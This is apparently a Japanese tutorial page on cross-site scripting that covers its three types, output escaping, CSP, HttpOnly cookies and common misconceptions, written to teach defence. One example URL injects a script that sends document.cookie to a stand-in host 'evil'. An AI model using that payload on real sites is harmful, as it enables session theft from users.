XSS とは何か
XSS(Cross-Site Scripting)は、攻撃者が用意した JavaScript を被害者のブラウザ上で実行させる脆弱性です。被害者から見ると正規サイト内で動いているスクリプトに見えるため、Cookie の窃取、フォーム改ざん、なりすまし操作などあらゆる悪用に繋がります。
OWASP Top 10 では A03:2021 Injection の中に分類される、Web アプリ脆弱性の最古参にして最頻出。「ユーザー入力をそのまま HTML に出力した」が根本原因のすべてです。
3つの種類
XSS は実行経路によって3種類に分けられます。防御策は基本的に同じですが、見つけ方と影響範囲が異なります。
| 種類 | 経路 | 典型例 |
|---|---|---|
| Reflected(反射型) | URLパラメータがその場で反射 | 検索結果ページのキーワード表示 |
| Stored(蓄積型) | DB等に保存され他ユーザーへ配信 | 掲示板のコメント、SNSの投稿 |
| DOM-based | クライアント側 JS が DOM を書換える時点 | location.hash を innerHTML へ代入 |
Stored が最も影響範囲が広く(不特定多数を巻き込む)、Reflected はリンクを踏ませる必要がある分ハードルがあるが「正規ドメイン下で動く」点で同じく危険。DOM-based はサーバーログに残らないので発見が遅れがちです。
具体例で見る
ユーザー入力 q をそのまま埋め込むサーバーがあったとします:
<p>検索結果: ${q}</p>攻撃者が ?q=<script>fetch(`https://evil/?c=${document.cookie}`)</script> のような URL を被害者に踏ませると、被害者のブラウザで document.cookie が外部に送られます。Cookie に HttpOnly が無ければセッションがそのまま乗っ取られます。
防御の基本: 出力時エスケープ
XSS 対策の本丸は「HTML として出力する瞬間にエスケープすること」です。「入力時に弾く」ではありません(後述)。
最低限エスケープすべき5文字(HTML 文脈の場合):
| 文字 | エンティティ | 意味 |
|---|---|---|
| < | < | タグ開始の無効化 |
| > | > | タグ終了の無効化 |
| & | & | エンティティ起点の無効化 |
| " | " | 属性値破壊の防止 |
| ' | ' | 属性値破壊の防止(HTML5 で ') |
モダンなテンプレートエンジン(React の JSX、Vue、Svelte、Go の html/template、Django、ERB の <%=h %>)はデフォルトで自動エスケープします。「自動エスケープを無効化する API」を使うときだけ気をつけるのが現代的な感覚です。
- React:
dangerouslySetInnerHTML - Vue:
v-html - jQuery:
.html() - 素の DOM:
element.innerHTML = ...
⚠ 文脈を間違えると意味がない: HTML 本文に対するエスケープは <script> タグ内や属性値内では別ルール。
<script>var x = "${q}"</script>のような JS 文字列に値を埋め込む場面ではJSON.stringifyで囲うのが安全です。
多層防御: CSP(Content-Security-Policy)
エスケープが破れた時の最後の砦が CSP です。HTTP レスポンスヘッダで「このページから実行を許可するスクリプトの出所」をブラウザに宣言します。
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m';
object-src 'none';
base-uri 'none'ポイント:
'unsafe-inline'をスクリプトで許可しない(許可した瞬間 CSP の防御がほぼ消える)- インラインスクリプトを使うなら nonce または hash を採用
object-src 'none'で Flash/PDF プラグイン経由の XSS を遮断base-uri 'none'で<base>改ざん攻撃を防止
その他の追加防御
- Cookie に HttpOnly:
document.cookieから読めなくなり、Cookie 窃取型 XSS を無力化 - X-Content-Type-Options: nosniff: ブラウザの MIME スニッフィングを止め、画像偽装スクリプトを防ぐ
- Trusted Types(モダンブラウザ):
innerHTML等への代入を型レベルで強制チェック - サニタイザライブラリ(DOMPurify など): HTML を許可する必要がある場面(ブログのリッチエディタ等)で使う
よくある誤解
誤解1: 入力をサニタイズすれば安全
「DBに入れる前に < を消そう」は逆効果です。理由:
- 入力時には出力先文脈(HTML本文 / 属性 / JS / URL)が分からないので適切にエスケープできない
- 正規データ(コメントに
1 < 2と書きたい場合等)まで壊す - サニタイズ漏れがあると後段で全部抜ける
「入力は受け入れて、出力時にエスケープ」が正しい原則。
誤解2: HTTPS にすれば XSS も防げる
HTTPS は通信路の盗聴・改ざんを防ぐもので、XSS(アプリ層の脆弱性)とは独立。HTTPS 化は前提として必要ですが XSS 対策にはなりません。
誤解3: WAF を入れれば終わり
WAF(Web Application Firewall)はパターンマッチで疑わしいリクエストを弾きますが、新しい構文や難読化で簡単にバイパスされます。「アプリ側のエスケープ + 多層防御」が本筋で、WAF は時間稼ぎの位置づけ。
おわりに
XSS の根は単純で「文字列を文脈ごとにエスケープせず HTML に流し込んだ」だけです。モダンなフレームワークは自動エスケープしてくれるので、「自動エスケープを破る API を使うときに警戒する」習慣を身につけ、加えて CSP / HttpOnly / nosniff の多層防御を必ず入れる、というのが現代的な構え方です。
本サイトの HTML Entity Encoder/Decoder では、最小エスケープ/名前付き/数値参照(10進・16進)の各レベルでどう変換されるか実機で確認できます。テンプレートエンジンの自動エスケープが内部で何をしているか、覗いてみてください。